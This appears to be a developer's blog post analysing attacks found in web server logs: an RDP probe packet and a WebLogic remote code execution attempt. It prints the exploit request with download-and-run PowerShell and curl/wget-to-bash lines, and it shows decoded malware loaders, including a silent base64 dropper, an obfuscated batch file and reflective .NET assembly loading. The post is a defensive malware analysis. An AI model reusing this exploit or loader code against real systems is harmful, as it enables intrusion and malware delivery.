Reverse Engineering an RDP and WebLogic Attack

I've been learning more about common attacks that appear in my Nginx logs to learn more about what happens beyond the log entries. The internet appeared to enjoy my previous post on the subject so I thought I'd share more of my findings. If you haven't read the previous entry, I encourage you to begin here and optionally catch up on hacker news and reddit discussions.

Note: I'm not a security expert. I'm just a curious developer who likes to poke around so please take any assertions I make with a grain of salt. If you find this helpful, consider supporting me by becoming a member and follow me on Mastodon -

Remote Desktop Protocol Discovery - - [17/Feb/2024:13:52:28 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 154 "-" "-"

This request appears to contain a series of bytes that do not begin with a standard HTTP method[1]. The first 3 bytes \x03\x00\x00 however, appear to form the header of a TPKT (ITU-T T.123) packet[2]. This means that we can better evaluate the body by looking at the raw bytes.

$ echo -n -e '\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr' > output_file

$ xxd output_file
00000000: 0300 002f 2ae0 0000 0000 0043 6f6f 6b69  .../*......Cooki
00000010: 653a 206d 7374 7368 6173 683d 4164 6d69  e: mstshash=Admi
00000020: 6e69 7374 72                             nistr

This gives us a much easier format to look up. The packet appears to be an X.224 Connection Request[3][4] which is commonly used for the Remote Desktop Protocol (RDP). Knowing this, we can infer that this is an RDP discovery attack[5]. Let's break down the packet armed with this knowledge.

03 -> TPKT Header: version = 3
00 -> TPKT Header: Reserved = 0
00 2f -> TPKT Header: Length = 0 (47 bytes)
2a -> X.224: Length indicator (42 bytes)
e0 -> X.224: Connection Message Type = Connection Request
00 00 -> X.224: Destination reference = 0
00 00 -> X.224: Source reference = 0
00 -> X.224: Class and options = 0

43 6F 6F 6B 69 65 3A 20 6D 73 74 73 68 61 73 68 3D 41 64 6D 69 6E 69 73 74 72 -> Cookie: mstshash=Administr

Interestingly, 10 bytes are missing between the declared packet length of (47 bytes) and the actual packet length (37 bytes) meaning that the packet is malformed. What appears to be missing is the cookie terminator sequence and RDP negotiation sequence. If those were present in the packet, they would look like this.

0d0a -> Cookie terminator sequence

00 -> RDP_NEG_REQ::flags (0)
08 00 -> RDP_NEG_REQ::length (8 bytes)
00 00 00 00 -> RDP_NEG_REQ::requestedProtocols (PROTOCOL_RDP)

This appeared multiple times in my logs from different IP addresses which suggests that this was intentional. This leads me to suspect that the attackers are intentionally sending malformed packets in an attempt to fingerprint the server as described by

Web servers may be identified by examining their error responses, and in the cases where they have not been customized, their default error pages. One way to compel a server to present these is by sending intentionally incorrect or malformed requests.

My reading suggests that the accepted mitigation strategy is to avoid publicly exposing RDP services to the public internet as described by BeyondTrust[6].

First security rule of RDP—it is absolutely unacceptable to leave RDP exposed on the Internet for access—no matter how much endpoint and systems hardening is performed. The risks of such exposure are far too high. RDP is meant to be used only across a local area network (LAN).

So if you must use RDP over the internet, it should be done over a VPN or Secure Gateway although this is not without its risks[7].

WebLogic Server Remote Code Execution - - [14/Feb/2024:10:03:35 +0000] "GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?' currentThread = (; adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\x22connectionHandler\x22);field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\x22getServletRequest\x22).invoke(obj); String cmd = req.getHeader(\x22cmd\x22);String[] cmds = System.getProperty(\\x22).toLowerCase().contains(\x22window\x22) ? new String[]{\x22cmd.exe\x22, \x22/c\x22, \x22powershell iex(New-Object Net.WebClient).DownloadString('')\x22} : new String[]{\x22/bin/sh\x22, \x22-c\x22, \x22(curl -s || wget -q -O - || lwp-download /tmp/2.gif) | bash -" 400 154 "-" "-"

This attack appears to be an attempt to exploit a vulnerability in Oracle's Weblogic Server. The request takes advantage of an improper configuration of a path traversal blacklist in vulnerable versions by sending a doubly encoded url.

In this example, the request


decodes to


which further decodes to


In a vulnerable system, this bypasses authentication of the admin console component and allows the attacker to execute arbitrary code by providing an MVEL expression as a query parameter[8]. Let's decode the request (and replace \x22 with " for readability) to see what the attacker is attempting to do.

c/console/css/../' currentThread = (; adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('')"} : new String[]{"/bin/sh", "-c", "(curl -s || wget -q -O - || lwp-download /tmp/2.gif) | bash -

The attacker attempts to open a shell using the ShellSession class and uses the reflection API to make some private fields available for access. It looks like the goal of that process is to extract a cmd header from the request and execute in a shell however, the cmd variable was not used but was replaced with inline scripts that download and execute a file from the attacker's server. This leads me to believe that the attacker modified a publicly available PoC[9], without being completely familiar with how the exploit worked.

The attack was programmed to download one of 2 files depending on the target operating system. bin.ps1 for Windows users and 2.gif for other operating systems. Interestingly, despite being named *.gif it was a bash script which was made obvious by the fact that it was being piped to bash (If I had a look of disapproval emoji. This is where I would use it).

As usual, my curiosity got the better of me here and I proceeded to download the scripts to see what was inside. I will begin with the PowerShell script.

function Convert-Base64ToFileAndExecuteSilently {
    param (


    try {
        $tempPath = [System.IO.Path]::GetTempPath()

        $filePath = Join-Path -Path $tempPath -ChildPath $FileName

        $bytes = [System.Convert]::FromBase64String($Base64String)

        [System.IO.File]::WriteAllBytes($filePath, $bytes)

        Start-Process -FilePath $filePath -WindowStyle Hidden
    catch {

$base64String = "c2V0ICJWcWdjbXdoeWt6PXdzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYx


$fileName = "checkupdater.bat"

Convert-Base64ToFileAndExecuteSilently -Base64String $base64String -FileName $fileName

The script was 34792 lines long. It contained a single function and a large base64 string. The function was designed to decode the base64 string and dynamically execute its content. This would appear to be an obfuscation measure to evade anti-viruses[10]. Decoding the string allows us to see what it does.

set "Vqgcmwhykz=ws\System32\WindowsPowerShell\v1.0\pow" & set "Pqjkrjhzwy=echo F | xcopy /d /q /y /h /i C:\Windo"
set "Mlhgdealqw=ershell.exe %temp%\Eetioxm.png"
set "Ruummykjff=& exit" & set "Cgnjwizjru=art "" /min "%~dpnx0" %* &" & set "Crxbqmmmdi=D set IS_MINIMIZED=1 && st" & set "Uzaqhgttrd=if not DEFINED IS_MINIMIZE"

set "Ygkcwliwko=\Eetioxm.png.bat"
set "Ribejgnmqt=echo F | xcopy /d /q /y /h /i %0 %temp%"
@echo off
set "Tctuumsiao=GcAbwAsACAAKABbAEkATwA" & set "Nduatjkkwh=0AC4AVABvAEEAcgByAGEAe" & set "Asiemusgrz=FsAUwB5AHMAdABlAG0ALgB"
set "Oqkuuhgjtv=yAG8AYwBlAHMAcwAoACkAL"
set "Dnqwrngbkg=AB8ACAAUwBlAGwAZQBjAHQ" & set "Trjelcwawf=wBiAGoAZQBjAHQAIABTAHk" & set "Jdshtuwiag=E0AZQBtAG8AcgB5AFMAdAB" & set "Zrrxxxhzdp=ALgBDAG8AbgB2AGUAcgB0A" & set "Tabzzqrlsf=jAG8AbQBwAHIAZQBzAHMAK" & set "Xwcjetwmer=n 1 -enc JABWAHAAdQBtA" & set "Jxnfjfqpzf=QAoACkAOwBbAEEAcgByAGE"
set "Enuohpdnui=GUAbgBjAG8AZABpAG4AZwB"
set "Wqvaeuktyy=G8AZABlAF0AOgA6AEQAZQB"
set "Zgmxpvlmcb=pAG8AbgAuAEEAcwBzAGUAb" & set "Umczoznjaz=qAGUAYwB0ACAAUwB5AHMAd"
set "Wdkhcoywxs=wBpAG8AbgAuAEMAbwBtAHA" & set "Ypkchoneou=ABmAHoAbAB0AHAAZwB5AC4" & set "Diuizgfiqj=CAAJABuAHUAbABsACkAIAB" & set


set "Gamfeaesdj=exit"

Decoding the script returns a further obfuscated PowerShell script. Portions of the script are encoded as variables and concatenated for execution. Strangely, there is a large (1.5M) block of what I assume is base64 encoded text which cannot be executed as is.

Taking the first section, if we perform the substitutions

echo F | xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe %temp%\Eetioxm.png

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min & exit

echo F | xcopy /d /q /y /h /i %0 %temp%\Eetioxm.png.bat

While I'm not proficient with Powershell, I believe that the script is attempting to copy itself into a file Eetioxm.png.bat (sigh... again attempting to disguise itself as an image) and execute the resulting script in a new minimized window.

If this is incorrect, or you have a more accurate interpretation of the script please leave a comment.

The next section assigns multiple segments of base64 strings to variables and performs a massive concatenation towards the bottom of the script. However, with a little scripting, we can perform the substitutions to reveal the resulting command.

$Vpumlcpekzl = [IO.File]::ReadLines((([System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName).ToString() + ".bat"), [text.encoding]::UTF8) | Select-Object -last 1; $Lpopx = [System.Convert]::FromBase64String($Vpumlcpekzl);$Ggpfugo = New-Object System.IO.MemoryStream( , $Lpopx );$output = New-Object System.IO.MemoryStream;$Plfzltpgy = New-Object System.IO.Compression.GzipStream $Ggpfugo, ([IO.Compression.CompressionMode]::Decompress);$Plfzltpgy.CopyTo( $output );$Plfzltpgy.Close();$Ggpfugo.Close();[byte[]] $Lpopx = $output.ToArray();[Array]::Reverse($Lpopx); $Safqjcacl = [System.Reflection.Assembly]::Load($Lpopx); $Fxvfgy = $Safqjcacl.GetExportedTypes()[0]; $Skepgioazr = $Fxvfgy.GetMethods()[0].Invoke($null, $null) | Out-Nullbase64: invalid input

Now we have more PowerShell code but the end goal is still unclear. Let's break down the script.

# Read the last line of its file to process.

$Vpumlcpekzl = [IO.File]::ReadLines((([System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName).ToString() + ".bat"), [text.encoding]::UTF8) | Select-Object -last 1

# Base64 decode the content
$Lpopx = [System.Convert]::FromBase64String($Vpumlcpekzl)

# Gzip decompress the content and copy the output to a memory stream
$Ggpfugo = New-Object System.IO.MemoryStream( , $Lpopx )
$output = New-Object System.IO.MemoryStream
$Plfzltpgy = New-Object System.IO.Compression.GzipStream $Ggpfugo, ([IO.Compression.CompressionMode]::Decompress)
$Plfzltpgy.CopyTo( $output )

# Reverse the content of the array because we're not done with indirection
[byte[]] $Lpopx = $output.ToArray()

# Load the array as assembly and get the first exported type
$Safqjcacl = [System.Reflection.Assembly]::Load($Lpopx)

# Get the first exported method from that type and invoke the function
$Fxvfgy = $Safqjcacl.GetExportedTypes()[0]
$Skepgioazr = $Fxvfgy.GetMethods()[0].Invoke($null, $null) | Out-Null

We finally got something it's trying to execute. It was last line of text at the bottom of the script. It was a binary the entire time, albeit base64 encoded and Gzipped. With more scripting, I was able to extract the executable file which I could confirm by dumping the content with a md5sum of 8571c36bed5af8707d5d3d87172b6a61.

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
00000080: 5045 0000 4c01 0300 4bde d065 0000 0000  PE..L...K..e....
00000090: 0000 0000 e000 2e20 0b01 0600 0058 1300  ....... .....X..
000000a0: 0006 0000 0000 0000 ee77 1300 0020 0000  .........w... ..
000000b0: 0000 0000 0000 4000 0020 0000 0002 0000  ......@.. ......

The next step was to drop the file in Ghidra to attempt to see what was inside.

Ghidra Import Summary

Although I was able to import the binary, the decompiler wasn't able to run fully due to missing DLLs. However, there was some useful information available. The first were references to CLR that suggested that the binary was compiled using .NET. The other was that it was compiled in 2023, which suggests that it may have been compiled using a recent SDK.

Something that did seem strange however was a large block of binary within the file. While this was only a hunch, it looked consistent with what I'd UPX-packed binaries. While I don't think this is UPX-packed since it's missing the headers, what this would indicate is a just-in-time compilation happening.


After playing around with Ghidra for some time, I learned about dotPeek a .Net decompiler by Jetbrains. Setting up a Windows environment and running the binary through it was quite straightforward. These parts stood out to me.

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Eweowjcbw,, Culture=neutral, PublicKeyToken=null
// MVID: 75BD6E05-CB99-9EAA-B18F-44EAC0E1C3E8
// Assembly location: C:\Users\User\Downloads\asm

  static \uE01A()
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    \uE01A.\uE003 = new \uE01A.\uE002(\uE01A.\uE001);
    string name = \uE01A.\uE003(~-(537208391 - 537208390));
    \uE01A.\uE002 = new \uE01A.\uE003().\uE003(\uE01E.\uE00A(executingAssembly.GetManifestResourceStream(name)));


  public static string \uE001(int _param0)
    char[] charArray = "âÀýÛþ".ToCharArray();
    int length = charArray.Length;
    while ((length -= ~-((190111335 - -183578127 ^ 218921005) - 457864281)) >= ~~-0)
      charArray[length] = (char) ((int) charArray[length] ^ (-~(957225987 - 127861465) + 198250284 - 565661939 >> 1) - 230976296 ^ _param0);
    return new string(charArray);


  case 3:
    bytes = Convert.FromBase64String("Cp/tuUayd7T7q0+6OpL3ok3xGJXtqE69NZ+likarHIjqv1qeKpX7oEGzIN35qFeA...");
    num1 = -(-((~(-1869572904 >> 3) - -165240557 ^ -79817048) + 275565205) - 43637335);
    goto label_1;


If you thought we were done with base64 encoded strings (you and me both), I have some bad news for you. On the bright side, this did confirm my earlier suspicion that the binary did encode instructions that would be executed at runtime.

      if (num5 == 0)
        method = typeof (AppDomain).GetMethod("DefineDynamicAssembly", types);
      MethodInfo methodInfo = method;
      AppDomain currentDomain = AppDomain.CurrentDomain;
      object[] parameters = new object[--900607342 - 358277323 - 542330011 >> 2];
      parameters[(~(-~(-306721958 - 345122568 ^ -82732644) - -449209828) >> 2) - -255764717] = (object) assemblyName;
      parameters[(-(~(640138863 - 687667767 << 5 >> 6) - -369267603) ^ -151063766) - 200363659 - 310046484] = (object) (AssemblyBuilderAccess) (-573791907 - -573791908);
      TypeBuilder typeBuilder = ((AssemblyBuilder) methodInfo.Invoke((object) currentDomain, parameters)).DefineDynamicModule("?").DefineType("?", (TypeAttributes) ((~-(-1346774228 ^ 278712626) - -482732983 ^ 22373515 ^ -639770637) - 56774316 << 5));
      Type type = typeBuilder.CreateType();
      int invokeAttr = (378036882 ^ -351692669) << 5 >> 5 ^ -41813239;
      object[] args = new object[-(-~495795599 - 208814158 - -389160516 >> 1) ^ -338070980];
      args[~-~-2] = (object) _param1;
      return (string) type.InvokeMember("?", (BindingFlags) invokeAttr, (Binder) null, (object) null, args);

This appeared further below, which I suspect might be the portion of the binary where the decoded instruction is executed, however, I'd need to rely on the expertise of someone more knowledgeable than I on this to confirm.

I did decode the base64 string that was encoded in the binary, however, it didn't immediately stand out as any common format that I am aware of

00000000: 0a9f edb9 46b2 77b4 fbab 4fba 3a92 f7a2  ....F.w...O.:...
00000010: 4df1 1895 eda8 4ebd 359f a58a 46ab 1c88  M.....N.5...F...
00000020: eabf 5a9e 2a95 fba0 41b3 20dd f9a8 5780  ..Z.*...A. ...W.
00000030: 1f93 f2a1 6dbe 3483 a5a2 5380 1088 fbbc  ....m.4...S.....
00000040: 56be 358f eab4 18b8 3c92 c181 46b1 3e92  V.5.....<...F.>.
00000050: f6f6 64ba 2db2 e7bd 4699 2b89 f385 42b1  ..d.-...F.+...B.
00000060: 3d8a fbf6 44ba 2db9 d0ac 4eba 62af f0a9  =...D.-...N.b...
00000070: 46a7 1680 a59f 46be 3db5 eabf 4ab1 3edd  F.....F.=...J.>.
00000080: dfa9 47e4 3e83 ea92 73b0 2a8f eaa4 4cb1  ..G.>...s.*...L.
00000090: 6281 fbb9 7c9c 2c94 eca8 4dab 1d89 f3ac  b...|.,...M.....
000000a0: 4ab1 62b5 fbb9 67be 2d87 a5f4 11eb 6ddd  J.b...g.-.....m.
000000b0: dfbe 50ba 3484 f2b4 70ba 2b90 fbbf 188c  ..P.4...p.+.....
000000c0: 308b eea1 469e 2a95 fba0 41b3 20a3 e6bd  0...F.*...A. ...
000000d0: 4fb0 2b83 ecf6 41be 3b83 f2bb 4ee4 2a8b  O.+...A.;...N.*.
000000e0: f1a6 46ab 3c95 ea                        ..F.<..

So, unfortunately, this is where this trail ran cold for me. Next up we've got the 2.gif shell script but this post is already really long so that's a post for another day.


So what did I learn from this? Not every attack is intended to be successful. Some are just meant to be a probe to see what's out there. Attackers are also reading CVEs and will build off of PoCs that are out there. Oh and base64. base64 everywhere...

Thanks for making it this far. This got really long so I wanted to break this up so I can go into the right level of depth investigating the other scripts without worrying about how long it was getting. If you enjoyed this please share and consider becoming a member.

  1. (no date) Available at: (Accessed: 2024-2-20). ↩︎

  2. Leighton, L. (2013) No title. Available at: (Accessed: 2024-2-20). ↩︎

  3. (no date) [MS-RDPBCGR]: Client X.224 Connection Request PDU. Available at: (Accessed: 2024-2-20). ↩︎

  4. (no date) Available at: (Accessed: 2024-2-20). ↩︎

  5. SANS Internet Storm Center (no date) Remote Desktop Protocol (RDP) Available at: (Accessed: 2024-2-20). ↩︎

  6. Haber, M. (2021) What is RDP & how do you secure (or replace) it?. Available at: (Accessed: 2024-2-20). ↩︎

  7. Haber, M. (2020) The dangers of using A VPN on home computers for work and what to do instead. Available at: (Accessed: 2024-2-20). ↩︎

  8. (no date) How to detect and exploit the Oracle WebLogic RCE (CVE-2020-14882 & CVE-2020-14883). Available at: (Accessed: 2024-2-20). ↩︎

  9. (no date) Oracle WebLogic server remote code execution ≈ packet storm. Available at: (Accessed: 2024-2-20). ↩︎

  10. Malyutin, M. (2020) Powershell obfuscation demystified series chapter 2: Concatenation and Base64 encoding. Available at: (Accessed: 2024-2-20). ↩︎

Subscribe to Another Dev's Two Cents

Don’t miss out on the latest issues. Sign up now to get access to the library of members-only issues.